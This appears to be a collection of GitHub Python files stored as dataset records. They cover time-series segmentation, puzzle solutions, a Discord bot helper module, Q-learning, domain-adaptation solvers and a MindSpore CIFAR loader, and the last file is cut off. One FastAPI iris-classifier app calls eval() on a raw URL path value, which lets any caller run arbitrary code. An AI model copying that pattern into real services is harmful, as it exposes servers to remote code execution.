    segmenting = fit.interpolate\n    elif segmentType == 'regression':\n        segmenting = fit.regression\n    else:\n        raise ValueError('Unknown segmenting type')\n\n    return window(data, segmenting, error, maxError)\n\n\n\nif __name__ == '__main__':\n    from data.load import load\n\n    data = load().s_and_p500()\n    data = load().TICC()\n\n    segments = PLA(data[:,0], windowScale=1000, windowingType='bottom up', segmentType='interpolate')\n\n    print(segments)\n\n    import matplotlib.pyplot as plt\n    plt.plot(data[:,0])\n\n    for seg in segments:\n        plt.plot( [seg[0], seg[2]], [seg[1], seg[3]], c='r')\n\n    plt.show()\n\n\n\n\n\n\n\n\n\n\n","repo_name":"mattkennedy416/Big-Time-Series-Analysis","sub_path":"segmentation/univariate/piecewiseLinearApproximation.py","file_name":"piecewiseLinearApproximation.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22070748590","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Mar 30 20:01:26 2021\r\n\r\n@author: Hayagreev\r\n\"\"\"\r\n\r\nimport time\r\nfrom quantiphy import Quantity as q\r\n\r\n\r\n\r\n\r\nt_o = time.time()\r\n\r\nn = int(input(\"Enter the Digit Power: \"))\r\nsum = 0\r\ni=1\r\nwhile (i<(10**n)):\r\n    \r\n    digit_sum = 0\r\n    \r\n    j = list(str(i))\r\n    \r\n    for k in j:\r\n        digit = int(k)**n\r\n        digit_sum+= digit\r\n    \r\n    if digit_sum == i:\r\n        sum+=i\r\n        print(i)\r\n    i+= 1\r\n\r\nsum-= 1\r\n    \r\nprint(sum)\r\n\r\nt = time.time()\r\n\r\nexecution_time = t-t_o\r\n\r\nprint(\"Execution Time:\",q(execution_time,'s'))","repo_name":"nobodyh/Project-Euler","sub_path":"30. Digit Fifth Powers.py","file_name":"30. Digit Fifth Powers.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26751679577","text":"from typing import List, Tuple\n\n\ndef main():\n    with open(\"input.txt\") as f:\n        input = [line.strip().split(\" \") for line in f]\n    input = [(dir, int(steps)) for dir, steps in input]\n\n    # #### Puzzle 1 #### #\n\n    horiz, depth = get_positions_simple(input)\n    print(\"Horizontal pos * Depth =\", horiz * depth)\n\n    # #### Puzzle 2 #### #\n\n    horiz, depth = get_positions_complex(input)\n    print(\"Horizontal pos * Depth =\", horiz * depth)\n\n\ndef get_positions_simple(moves: List[Tuple[str, int]]) -> Tuple[int, int]:\n    horiz = 0\n    depth = 0\n    for dir, steps in moves:\n        if dir == \"forward\":\n            horiz += steps\n        elif dir == \"down\":\n            depth += steps\n        elif dir == \"up\":\n            depth -= steps\n        else:\n            raise Exception(f\"Unknown direction {dir}\")\n    return horiz, depth\n\n\ndef get_positions_complex(moves: List[Tuple[str, int]]) -> Tuple[int]:\n    horiz = 0\n    depth = 0\n    aim = 0\n    for dir, steps in moves:\n        if dir == \"forward\":\n            horiz += steps\n            depth += aim * steps\n        elif dir == \"down\":\n            aim += steps\n        elif dir == \"up\":\n            aim -= steps\n        else:\n            raise Exception(f\"Unknown direction {dir}\")\n    return horiz, depth\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"pkemkes/advent-of-code","sub_path":"2021/02/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"10264223004","text":"import json\nimport random\nimport urllib.request\nimport re\nimport youtube_dl\nimport os\nimport praw\nimport requests\nfrom PIL import Image, ImageDraw, ImageFilter\n\n#MUSIC_MATCH_API_KEY=\"\"\n\ndef searchQuery(str,num):\n    html=urllib.request.urlopen(f\"https://youtube.com/results?search_query={str}\")\n    video_id=re.findall(r\"watch\\?v=(\\S{11})\",html.read().decode())\n    for i in range(len(video_id)):\n        video_id[i]=f\"https://www.youtube.com/watch?v={video_id[i]}\"\n    return(video_id[num])\n\ndef breakMess(str):\n    arr=str.split(\" \")\n    l=len(arr)\n    arr.insert(0,l)\n    arr[1]=arr[1][1:]\n    return arr\n\ndef red(subr):\n    id=\"\"\n    secret=\"\"\n    uname=\"\"\n    passw=\"\"\n    res=[]\n    reddit=praw.Reddit(client_id=id,client_secret=secret,username=uname,password=passw,user_agent=\"\")\n    subreddit=reddit.subreddit(subr)\n    all_subs=[]\n    top=subreddit.top(limit=5)\n    for submission in top:\n        all_subs.append(submission)\n    random_sub=random.choice(all_subs)\n    res.append(random_sub.title)\n    res.append(random_sub.url)\n    return res\n\ndef joke():   \n    url=\"https://sv443.net/jokeapi/v2/joke/Any?format=txt\"\n    response = requests.request(\"GET\", url)\n    joke=response.text\n    arr=joke.split('\\n')\n    i=0\n    ftext=\"\"\n    while i<len(arr):\n        if arr[i]!=\"\":\n            ftext=arr[i]+'\\n'\n        i=i+1\n    return ftext\n\ndef downloadImage(filename,url):\n    r=requests.get(url, allow_redirects=True)\n    print(\"Downloading Image\")\n    open (filename,'wb').write(r.content)\n\ndef changeImageSize(maxWidth,maxHeight,image):\n    widthRatio  = maxWidth/image.size[0]\n    heightRatio = maxHeight/image.size[1]\n\n    newWidth    = int(widthRatio*image.size[0])\n    newHeight   = int(heightRatio*image.size[1])\n\n    newImage    = image.resize((newWidth, newHeight))\n    return newImage\n  \ndef gayThis(url):\n    downloadImage(\"avatar.jpeg\",url)\n    Av=Image.open(\"./avatar.jpeg\")\n    gFlag=Image.open(\"./pride.jpeg\")\n    print(\"Resized Image\")\n    Image.blend(Av,gFlag,0.5).save('./gayed.jpeg',quality=95)\n\ndef capitalistThis(url):\n    downloadImage(\"avatar.jpeg\",url)\n    Av=Image.open(\"./avatar.jpeg\")\n    gFlag=Image.open(\"./capitalist.jpg\")\n    print(\"Resized Image\")\n    Image.blend(Av,gFlag,0.5).save('./my.jpg',quality=95)\n\n","repo_name":"whokilleddb/BlueFrenchHorn","sub_path":"v2.0/botfunctions.py","file_name":"botfunctions.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"511108872","text":"import numpy as np\r\nimport math\r\nfrom random import randint\r\nimport sys\r\n\r\n# izquierda = 0\r\n# derecha = 1\r\n# arriba = 2\r\n# abajo = 3\r\n\r\ndef main():\r\n\t# Se numeran los estados de la realidad planteada de la sigueinte manera:\r\n\t# |0 |1 |2 |3 |4 |5 |\r\n\t# |6 |7 |8 |9 |10|11|\r\n\t# |12|13|  14 |15|16|\r\n\t# |17|18|     |19|20|\r\n\t# |21|22|23|24|25|26|\r\n\t# |27|28|29|30|31|32|\r\n\r\n\t# delta es una matriz, donde las filas representan a los posibles estados [0..32], \r\n\t# y las columnas representan a las acciones (0 - izquierda, 1 - derecha, 2 - arriba, 3 - abajo).\r\n\t# Los posibles valores son [-1..32], representan los estados resultantes de aplicar la accion representada\r\n\t# por el numero de columna, al estado representado por el numero de fila, donde -1 representa que no existe transicion \r\n\t# para ese estado y acion.\r\n\tdelta = np.matrix([ [-1, 1,-1, 6],[ 0, 2,-1, 7],[ 1, 3,-1, 8],[ 2, 4,-1, 9],[ 3, 5,-1,10],[ 4,-1,-1,11],\r\n\t\t \t \t\t\t[-1, 7, 0,12],[ 6, 8, 1,13],[ 7, 9, 2,14],[ 8,10, 3,14],[ 9,11, 4,15],[10,-1, 5,16],\r\n\t\t \t\t\t\t[-1,13, 6,17],[12,14, 7,18],[-1,    -1,     -1,     -1],[14,16,10,19],[15,-1,11,20],\r\n\t\t \t\t\t\t[-1,18,12,21],[17,14,13,22],                            [14,20,15,25],[19,-1,16,26],\r\n\t\t \t\t\t\t[-1,22,17,27],[21,23,18,28],[22,24,14,29],[23,25,14,30],[24,26,19,31],[25,-1,20,32],\r\n\t\t \t\t\t\t[-1,28,21,-1],[27,29,22,-1],[28,30,23,-1],[29,31,24,-1],[30,32,25,-1],[31,-1,26,-1]])\r\n\t\r\n\t# r es una matriz de las mismas dimensiones que delta, de la misma forma las filas representan los estados\r\n\t# y las columnas las acciones, pero los valores representan las \"recompensas inmediatas\" al ejecutar las accion para \r\n\t# el estado.\r\n\tr = np.matrix([\t[  0,  0,  0,  0],[  0,  0,  0,  0],[  0,  0,  0,  0],[  0,  0,  0,  0],[  0,  0,  0,  0],[  0,  0,  0,  0],\r\n\t\t \t\t\t[  0,  0,  0,  0],[  0,-20,  0,  0],[  0,  0,  0, 80],[  0,  0,  0, 80],[-20,  0,  0,  0],[  0,  0,  0,  0],\r\n\t\t \t\t\t[  0,  0,  0,  0],[  0,  0,  0,  0],[0,        0,         0,         0],[  0,  0,  0,  0],[  0,  0,  0,  0],\r\n\t\t \t\t\t[  0,  0,  0,  0],[  0,  0,  0,  0],                                    [  0,  0,  0,  0],[  0,  0,  0,  0],\r\n\t\t \t\t\t[  0,  0,  0,  0],[  0,  0,  0,  0],[  0,  0, 20,  0],[  0,  0, 20,  0],[  0,  0,  0,  0],[  0,  0,  0,  0],\r\n\t\t \t\t\t[  0,  0,  0,  0],[  0,  0,  0,  0],[  0,  0,  0,  0],[  0,  0,  0,  0],[  0,  0,  0,  0],[  0,  0,  0,  0]])\r\n\r\n\t# El estado objetivo de la realidad planteada.\r\n\testadoObjetivo = 14\r\n\tsalida = []\r\n\tsalida.append('Politica aprendida con la constante gamma igual a 0,8 y despues de 5 episodios:' + '\\n')\r\n\t\r\n\t# constante Factor de descuento. \r\n\ty = 0.8\r\n\t# Cantidad de Episodios.\r\n\tepisodios = 5\r\n\r\n\tQ_learning(r,delta,estadoObjetivo,y,episodios,salida)\r\n\r\n\tsalida.append('Politica aprendida con la constante gamma igual a 0,8 y despues de 10 episodios:' + '\\n')\r\n\t\r\n\t# constante Factor de descuento.  \r\n\ty = 0.8\r\n\t# Cantidad de Episodios.\r\n\tepisodios = 10\r\n\tQ_learning(r,delta,estadoObjetivo,y,episodios,salida)\r\n\r\n\tsalida.append('Politica aprendida con la constante gamma igual a 0,8 y despues de 30 episodios:' + '\\n')\r\n\t\r\n\t# constante Factor de descuento. \r\n\ty = 0.8\r\n\t# Cantidad de Episodios.\r\n\tepisodios = 30\r\n\tQ_learning(r,delta,estadoObjetivo,y,episodios,salida)\r\n\r\n\tf = open('out/parte-b.txt', 'w')\r\n\tfor s in salida:\r\n\t\tf.write(s)\r\n\tf.close()\r\n\r\n\tsalida = []\r\n\tsalida.append('Politica aprendida con la constante gamma igual a 0,4 y despues de 5 episodios:' + '\\n')\r\n\t\r\n\t# constante Factor de descuento. \r\n\ty = 0.4\r\n\t# Cantidad de Episodios.\r\n\tepisodios = 5\r\n\tQ_learning(r,delta,estadoObjetivo,y,episodios,salida)\r\n\r\n\tsalida.append('Politica aprendida con la constante gamma igual a 0,4 y despues de 10 episodios:' + '\\n')\r\n\t\r\n\t# constante Factor de descuento.  \r\n\ty = 0.4\r\n\t# Cantidad de Episodios.\r\n\tepisodios = 10\r\n\tQ_learning(r,delta,estadoObjetivo,y,episodios,salida)\r\n\r\n\tsalida.append('Politica aprendida con la constante gamma igual a 0,4 y despues de 30 episodios:' + '\\n')\r\n\t\r\n\t# constante Factor de descuento. \r\n\ty = 0.4\r\n\t# Cantidad de Episodios.\r\n\tepisodios = 30\r\n\tQ_learning(r,delta,estadoObjetivo,y,episodios,salida)\r\n\tf = open('out/parte-c.txt', 'w')\r\n\tfor s in salida:\r\n\t\tf.write(s)\r\n\tf.close()\r\n\r\n# Funcion que retorna una accion valida para el estado s, de forma aleatoria.\r\ndef elijoAccionParaEstado(s,delta):\r\n\r\n\tcantAcciones = delta.shape[1]\r\n\ta = randint(0,cantAcciones-1)\r\n\twhile delta[s,a] == -1:\r\n\t\ta = randint(0,cantAcciones-1)\r\n\r\n\treturn a\r\n\r\n# Funcion que retorna la accion de la cual se llega a el estado sig desde el estado ant\r\n# en un solo movimiento.\r\ndef getAccionEntreEstados(ant, sig, delta):\r\n\r\n\tcantAcciones = delta.shape[1]\r\n\tfor a in range(cantAcciones):\r\n\t\tif delta[ant,a] == sig:\r\n\t\t\treturn a\r\n\r\ndef Q_learning(r,delta,estadoObjetivo,y,episodios,salida):\r\n\r\n\tcantEstados = len(delta)\r\n\tcantAcciones = delta.shape[1]\r\n\r\n\t# inicializo en cero los valores Q para cada estado-accion.\r\n\tQ = np.zeros((cantEstados, cantAcciones))\r\n\r\n\t# Itero cantidad episodios veces\r\n\tfor ep in range(episodios):\r\n\r\n\t\t# selecciono un estado de forma aleatoria.\r\n\t\ts = randint(0,cantEstados-1)\r\n\t\t#print 'Estado origen: ' + str(s)\r\n\r\n\t\t# inicializo trayecto, una lista que guarda la secuencia de estados desde\r\n\t\t# el origen s, hasta el estado objetivo.\r\n\t\ttrayecto = []\r\n\t\t\r\n\t\t# agrego el estado inicial a trayecto.\r\n\t\ttrayecto.append(s)\r\n\r\n\t\t# mientras no sea el Estado Objetivo, se ejecutan acciones.\r\n\t\twhile (not s == estadoObjetivo):\r\n\r\n\t\t\t# elijo una de las posibles acciones para el estado actual.\r\n\t\t\ta = elijoAccionParaEstado(s,delta)\r\n\r\n\t\t\t# obtengo la recompensa inmediata de ejecutar la accion a al estado s.\r\n\t\t\trs = r[s,a]\r\n\r\n\t\t\t# obtengo el estado resultante de ejecutar la accion a al estado s.\r\n\t\t\ts_sig = delta[s,a]\r\n\r\n\t\t\t# cambio de estado.\r\n\t\t\ts = s_sig\r\n\r\n\t\t\t# agrego el estado actual al final de trayecto.\r\n\t\t\ttrayecto.append(s)\r\n\r\n\t\t# llegue al estado objetivo.\r\n\r\n\t\t# inicializo variable que acumula el retorno de los siguientes estados.\r\n\t\tacum = 0\r\n\r\n\t\t# inicializo variable que se utiliza como exponente de la constante y, para\r\n\t\t# descontar la recompensa por retraso.\r\n\t\tcant = 0.0\r\n\r\n\t\t#print 'Trayecto desde el estado origen ' + str(trayecto[0]) + ' al estado objetivo ' + str(trayecto[len(trayecto)-1]) + ':'\r\n\t\t#print trayecto\r\n\r\n\t\t# A continuacion recorro el trayecto en orden inverso, para lo cual\r\n\t\t# primero obtengo el ultimo estado de trayecto, el estado objetivo.\r\n\t\tactual = trayecto[len(trayecto)-1]\r\n\r\n\t\t# recorro el trayecto en orden inverso sin tener en cuenta al estado objetivo (si es que hay estados).\r\n\t\tfor i in range(len(trayecto)-2,-1,-1):\r\n\r\n\t\t\t# obtengo estado anterior.\r\n\t\t\tanterior = trayecto[i]\r\n\r\n\t\t\t# obtengo accion de la transicion anterior -> actual.\r\n\t\t\taccion = getAccionEntreEstados(anterior, actual, delta)\r\n\r\n\t\t\t# aplico la formula Q para el estado anterior.\r\n\t\t\ttemp = r[anterior,accion] + math.pow(y,cant) * acum\r\n\r\n\t\t\t# Si el calculo supera al valor registrado anteriormente, lo remplaza.\r\n\t\t\tif temp > Q[anterior,accion]:\r\n\t\t\t\tQ[anterior,accion] = temp\r\n\r\n\t\t\t# actualizo variable que acumula el retorno de los siguientes estados.\r\n\t\t\tacum = Q[anterior,accion]\r\n\r\n\t\t\t# actualizo variable que se utiliza como exponente de la constante y, para\r\n\t\t\t# descontar la recompensa por retraso.\r\n\t\t\tcant += 1\r\n\r\n\t\t\t# me muevo hacia atras en el trayecto.\r\n\t\t\tactual = anterior\r\n\r\n\t# Fin del algoritmo para Q.\r\n\r\n\t#print 'La matriz con los retornos para cada estado y accion aprendidos en el episodio ' + str(ep) + ' es:'\r\n\t#print Q\r\n\tpoliticaOptima(Q,delta,estadoObjetivo,salida)\r\n\t#print '------------------------------------------------------------------------------------------------------'\r\n\r\ndef politicaOptima(Q,delta,estadoObjetivo,salida):\r\n\taccionesOptimas = np.zeros(len(Q))\r\n\tfor s in range(len(Q)):\r\n\t\ttemp = -sys.maxint - 1\r\n\t\tfor a in range(Q.shape[1]):\r\n\t\t\tif Q[s,a] > temp:\r\n\t\t\t\taccionesOptimas[s] = a\r\n\t\t\t\ttemp = Q[s,a]\r\n\r\n\t\t# si para un estado s, y para todas las acciones a, Q*(s,a) = 0, se elige una accion valida para el estado s.\r\n\t\tif temp == 0 and s != estadoObjetivo:\r\n\t\t\tacc = elijoAccionParaEstado(s,delta)\r\n\t\t\taccionesOptimas[s] = acc\r\n\r\n\t#print 'Las acciones Optimas aprendidas para cada estado son: '\r\n\t#print accionesOptimas\r\n\tgraficarPolitica(accionesOptimas, salida)\r\n\r\ndef graficarPolitica(a, salida):\r\n\taStr = [\"\" for x in range(len(a))]\r\n\tfor x in range(len(a)):\r\n\r\n\t\tif a[x] == 0:\r\n\t\t\taStr[x] = ' < '\r\n\r\n\t\tif a[x] == 1:\r\n\t\t\taStr[x] = ' > '\r\n\r\n\t\tif a[x] == 2:\r\n\t\t\taStr[x] = ' ^ '\r\n\r\n\t\tif a[x] == 3:\r\n\t\t\taStr[x] = ' v '\r\n\r\n\tsalida.append('-------------------------' + '\\n')\r\n\tsalida.append('|' + aStr[0] + '|' + aStr[1] + '|' + aStr[2] + '|' + aStr[3] + '|' + aStr[4] + '|' + aStr[5] + '|' + '\\n')\r\n\tsalida.append('|' + aStr[6] + '|' + aStr[7] + '|' + aStr[8] + '|' + aStr[9] + '|' + aStr[10] + '|' + aStr[11] + '|' + '\\n')\r\n\tsalida.append('|' + aStr[12] + '|' + aStr[13] + '|   G   |'  + aStr[15] + '|' + aStr[16] + '|' + '\\n')\r\n\tsalida.append('|' + aStr[17] + '|' + aStr[18] + '|   G   |'  + aStr[19] + '|' + aStr[20] + '|' + '\\n')\r\n\tsalida.append('|' + aStr[21] + '|' + aStr[22] + '|' + aStr[23] + '|' + aStr[24] + '|' + aStr[25] + '|' + aStr[26] + '|' + '\\n')\r\n\tsalida.append('|' + aStr[27] + '|' + aStr[28] + '|' + aStr[29] + '|' + aStr[30] + '|' + aStr[31] + '|' + aStr[32] + '|' + '\\n')\r\n\tsalida.append('-------------------------' + '\\n')\r\n\r\n\r\nmain()\r\n","repo_name":"marcciosilva/maa","sub_path":"practico-4/ejercicio_6.py","file_name":"ejercicio_6.py","file_ext":"py","file_size_in_byte":9314,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7664286810","text":"import hashlib\n\nsecret = input()\nres = []\ni =  0\nwhile len(res) < 8:\n    hash = hashlib.md5((secret + str(i)).encode()).hexdigest()\n    if hash[:5] == \"00000\":\n        res.append(hash[5])\n    i += 1\n    \nprint(\"\".join(res))\n","repo_name":"JulienDelacroix/AOC","sub_path":"2016/5/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24967176505","text":"import joblib\nfrom fastapi import FastAPI\nfrom typing import List\nimport uvicorn\n\napp = FastAPI()\n\njoblib_file = \"joblib_RL_Model.pkl\"\nmodel = joblib.load(joblib_file)\n\n\ndef classifier_iris(model, values):\n    prediction = model.predict([values])\n    return prediction\n\n\ndef run_server():\n    uvicorn.run(app)\n\n\n@app.get('/')\ndef get_root():\n\treturn {'message': 'Iris classifier'}\n\n\n@app.get('/classify/{values}')\nasync def iris_classify(values):\n    return str(classifier_iris(model, eval(values)))","repo_name":"tvaditya/serve_iris_model","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"3244608744","text":"\"\"\" Solver classes for domain adaptation experiments \n\"\"\"\n\n__author__ = \"Steffen Schneider\"\n__email__  = \"steffen.schneider@tum.de\"\n\nimport os, time\nimport pandas as pd\nimport numpy as np\n\nfrom tqdm import tqdm\n\nimport torch\nimport torch.utils.data\nimport torch.nn as nn\n\nfrom .. import Solver, BaseClassSolver\nfrom ... import layers, optim\n\nimport itertools\n\nclass DABaseSolver(BaseClassSolver):\n    \n    \"\"\" Base Class for Unsupervised Domain Adaptation Approaches\n\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        super(DABaseSolver, self).__init__(*args, **kwargs)\n    \n    def _init_losses(self, **kwargs):\n        super()._init_losses(**kwargs)\n\n        self.register_loss(layers.AccuracyScore(), name = 'acc_s', weight = None)\n        self.register_loss(layers.AccuracyScore(), name = 'acc_t', weight = None)\n\nclass DATeacher(Solver):\n    \n    \"\"\" Base Class for Unsupervised Domain Adaptation Approaches using a teacher model\n    \"\"\"\n\n    def __init__(self, model, teacher, dataset, *args, **kwargs):\n        super().__init__(model, dataset, *args, **kwargs)\n        self.teacher = teacher\n        \n    def _init_models(self, **kwargs):\n        super()._init_models(**kwargs)\n        self.register_model(self.teacher, 'teacher')\n\nclass DABaselineLoss(object):\n\n    def __init__(self, solver):\n        self.solver = solver\n\n    def _predict(self, x, y):\n\n        _ , y_ = self.solver.model(x)\n        if not self.solver.multiclass:\n            y_ = y_.squeeze()\n            y  = y.float()\n\n        return y_, y\n\n    def __call__(self, batch):\n        losses = {}\n        (x, y) = batch[0]\n\n        losses['acc_s'] = losses['ce'] = self._predict(x,y)\n\n        with torch.no_grad():\n            x,y = batch[1]\n            losses['acc_t'] =  self._predict(x,y)\n\n        return losses\n\nclass BaselineDASolver(DABaseSolver):\n    \"\"\" A domain adaptation solver that actually does not run any adaptation algorithm\n\n    This is useful to establish baseline results for the case of no adaptation, for measurement\n    of the domain shift between datasets.\n    \"\"\"\n\n    def _init_optims(self, lr = 3e-4, **kwargs):\n        super()._init_optims(**kwargs)\n\n        self.register_optimizer(torch.optim.Adam(self.model.parameters(),\n                                lr=lr, amsgrad=True),\n                                DABaselineLoss(self))","repo_name":"rajshakerp/salad","sub_path":"salad/solver/da/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"28924882162","text":"import lolweb\nfrom bottle import run, app\nfrom paste.translogger import TransLogger\nimport logging\nimport time\n\nstart_stamp = time.ctime().replace(' ', '-')\n\nlogging.basicConfig(filename=\"logs/paste-{0}.log\".format(start_stamp),\n                    filemode=\"w\",\n                    level=logging.INFO)\nwsgil = logging.getLogger('wsgi')\nch = logging.FileHandler(\"logs/wsgi-{0}.log\".format(start_stamp))\nwsgil.addHandler(ch)\napp = TransLogger(app())\n\nrun(port=8080,\n    host='0.0.0.0',\n    server='paste',\n    app=app)\n","repo_name":"lojikil/microctf","sub_path":"paste.py","file_name":"paste.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23463138319","text":"# Reason archived: MESA creates folders automatically so don't need to create sets of empty folders before running the code.\n\n# Creates all the LOGS and Photos folders required for a set of MESA models, based on a naming convention you can specify. These folders all have the relevant permissions. Works by copying a template folder that has had permissions manually enabled.\n\nimport shutil\nimport numpy as np\nimport os\n\n\n#----- Define variables -----\ntemplate_folder  = \"Templates_and_data/Folder_with_permissions_template\"\ndir_out = \"Blank_folders_for_MESA/test123\"\ntext_new  = \"Z=1d-4_M=\"\nnew_masses = [ str(i/1000).replace(\".\",\"p\") for i in np.linspace( 660, 700, 41 ) ]\nprint( new_masses )\n\n\n#----- Create output folder if doesn't already exist -----\nif not os.path.exists( dir_out ):\n\tos.mkdir( dir_out )\n\n\n#----- Copy files to new directory and rename -----\nfor m in new_masses:\n\n\tfilename_new_LOGS = \"LOGS_\" + text_new + m\n\tfilename_new_Photos = \"Photos_\" + text_new + m\n\n\t[ shutil.copytree( template_folder, os.path.join( dir_out, f ) ) for f in [ filename_new_LOGS, filename_new_Photos ] ]\n\n\tprint( filename_new_LOGS, filename_new_Photos )\n","repo_name":"DanTickner/MESA-analysis-tools","sub_path":"a-Codes/Old/20210809-P0b-MESA-Folders.py","file_name":"20210809-P0b-MESA-Folders.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20218137638","text":"#!/usr/bin/env python\n# -*- encoding=utf8 -*-\nimport sys\n\n# 执行adb获取手机剪贴板命令\nadb_get_clipboard = r\"{}\\{}\\adb.exe -s e38c54e3 shell am broadcast -a clipper.get\".format(sys.path[0], \"adb\")\n# 启动手机app——clipper命令\nadb_run_clipper = r\"{}\\{}\\adb.exe -s e38c54e3 shell am startservice ca.zgrs.clipper/.ClipboardService\".format(\n    sys.path[0], \"adb\")\n# 最短采集商品标题\nSHORTEST_TITLE_LEN = 7\n# 是否以更新的方式保存爬取数据\nUPDATE = False\n\n# 截图文件保存路径\nSNAP_PATH = ''\n# 保存采集数据的table对象\nTABLE = None\n# 累计保存记录条数\nTOTAL_RECORDS = 0\n# 强制更新模式，表示不检查标题是否在数据库中，直接更新数据\nFORCE_UPDATE = False\n","repo_name":"Mykeyb2004/1688spider","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28248756042","text":"# Найдите все натуральные числа N, принадлежащие отрезку [200 000 000; 400 000 000], которые можно \n# представить в виде N = 2^m · 3^n, где m — чётное число, n — нечётное число. В ответе запишите все \n# найденные числа в порядке возрастания.\n# https://inf-ege.sdamgia.ru/problem?id=35999\n# Приведу 2 решения\n\ndef generator(x, m):\n    \"\"\"\n    Генератор.\n    Бесконечно возвращает степени двоек и троек\n    x должен быть 2 или 3\n    m должно быть 0 или 1, в зависимости от четных или нечётных степеней\n    \"\"\"\n    while 1:\n        yield x**m\n        m += 2\n\nresult = []\nfor two in generator(2, 0):\n    if two * 3 > 4 * 10**8: break\n    for three in generator(3, 1):\n        product = two * three\n        if product < 2 * 10**8: continue\n        if product > 4 * 10**8: break\n        result.append(product)\n\nprint(*sorted(result))\n\n\n# Второе решение\n'''\ntwos = [2**i for i in range(0, 29, 2)]          # Генерируем список степеней двойки\nthrees = [3**j for j in range(1, 20, 2)]        # Генерируем список степеней тройки\nresult = []                                     # Сюда будем складывать полученные числа\n\nfor two in twos:                                # С помощью двойного цикла перемножаем степени двоек и троек\n    for three in threes:\n        product = two * three\n        if 200000000 <= product <= 400000000:   # Если подходит под условие, добавляем в список\n            result.append(product)\n\nprint(*sorted(result))                          # Сортируем по возрастанию и выводим\n# * Почему мы генерируем степени двоек и троек именно так? range(0, 29, 2) это и будут наши степени\n# * Шаг 2 нужен для того, чтобы степени были либо четные, либо нечетные. А начинаем соответственно с 1 или 2\n# * Ограничиваем степени 29 и 20 потому что больше не имеет смысла, числа будут получаться больше 400000000\n'''","repo_name":"paracosm17/egeinformatics","sub_path":"25/35999.py","file_name":"35999.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"7354936927","text":"import mindspore.dataset as ds\nimport os\nimport mindspore\nimport mindspore as ms\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pickle\nimport mindspore.dataset.vision as transforms\n\nfrom mindspore import ops\nfrom math import *\nfrom mindspore.dataset import Dataset\nfrom PIL import Image\n\ndef prepare_trte_data(data_folder, batch_size):\n\n\n\n    # Do any necessary preprocessing or augmentation here\n\n    train_trsfm = mindspore.dataset.transforms.Compose([\n            transforms.RandomHorizontalFlip(),\n            transforms.RandomCrop((32, 32), (4, 4, 4, 4)),\n            transforms.Resize(32),\n            transforms.Rescale(1.0 / 255.0, 0.0),\n            transforms.Normalize([0.4914, 0.4822, 0.4465], [0.2023, 0.1994, 0.2010]),\n            transforms.HWC2CHW()])\n\n\n    # mean = {\n    #     'cifar10': (0.4914, 0.4822, 0.4465),\n    #     'cifar100': (0.5071, 0.4867, 0.4408),\n    # }\n    #\n    # std = {\n    #     'cifar10': (0.2023, 0.1994, 0.2010),\n    #     'cifar100': (0.2675, 0.2565, 0.2761),\n    # }\n\n\n    test_trsfm = mindspore.dataset.transforms.Compose([\n            transforms.Resize(32),\n            transforms.Rescale(1.0 / 255.0, 0.0),\n            transforms.Normalize([0.4914, 0.4822, 0.4465], [0.2023, 0.1994, 0.2010]),\n            transforms.HWC2CHW()])\n\n    target_trans = mindspore.dataset.transforms.TypeCast(ms.int32)\n\n\n    train_loader = ds.Cifar10Dataset(dataset_dir=data_folder,usage='train',shuffle=True,num_parallel_workers=2)\n    test_loader = ds.Cifar10Dataset(dataset_dir=data_folder,usage='test',shuffle=True,num_parallel_workers=2)\n\n    #得到train_loader所有data\n\n    #数据增强\n    train_loader = train_loader.map(train_trsfm, 'image', num_parallel_workers=2)\n    test_loader = test_loader.map(test_trsfm, 'image', num_parallel_workers=2)\n\n    train_loader = train_loader.map(operations=target_trans,input_columns='label',num_parallel_workers=2)\n    test_loader = test_loader.map(operations=target_trans, input_columns='label', num_parallel_workers=2)\n\n\n    train_loader = train_loader.batch(4096, drop_remainder=False)\n    test_loader = test_loader.batch(4096, drop_remainder=False)\n\n    # cls_num_list = [5000 for _ in range(10)]\n    #\n    # return train_loader, test_loader, cls_num_list\n\n\n    cls_num_list = get_cls_num_list()\n    train_loader_new = gen_imbalanced_data(train_loader, cls_num_list)\n    train_loader_new = train_loader_new.batch(batch_size, drop_remainder=False)\n    return train_loader_new, test_loader, cls_num_list\n\n\n\n\ndef get_cls_num_list(num_class=10, decay_stride=2.1971,img_max=5000):\n\n    img_num_per_cls = []\n    for cls_idx in range(num_class):\n        num = img_max * exp(-cls_idx / decay_stride)\n        img_num_per_cls.append(int(num + 0.5))\n    cls_num_list = img_num_per_cls\n    return cls_num_list\ndef gen_imbalanced_data(train_dataset, img_num_per_cls):\n    img_max = 5000\n    new_data, new_targets = [], []\n    #定义data\n    data = np.zeros((0, 3, 32, 32))\n    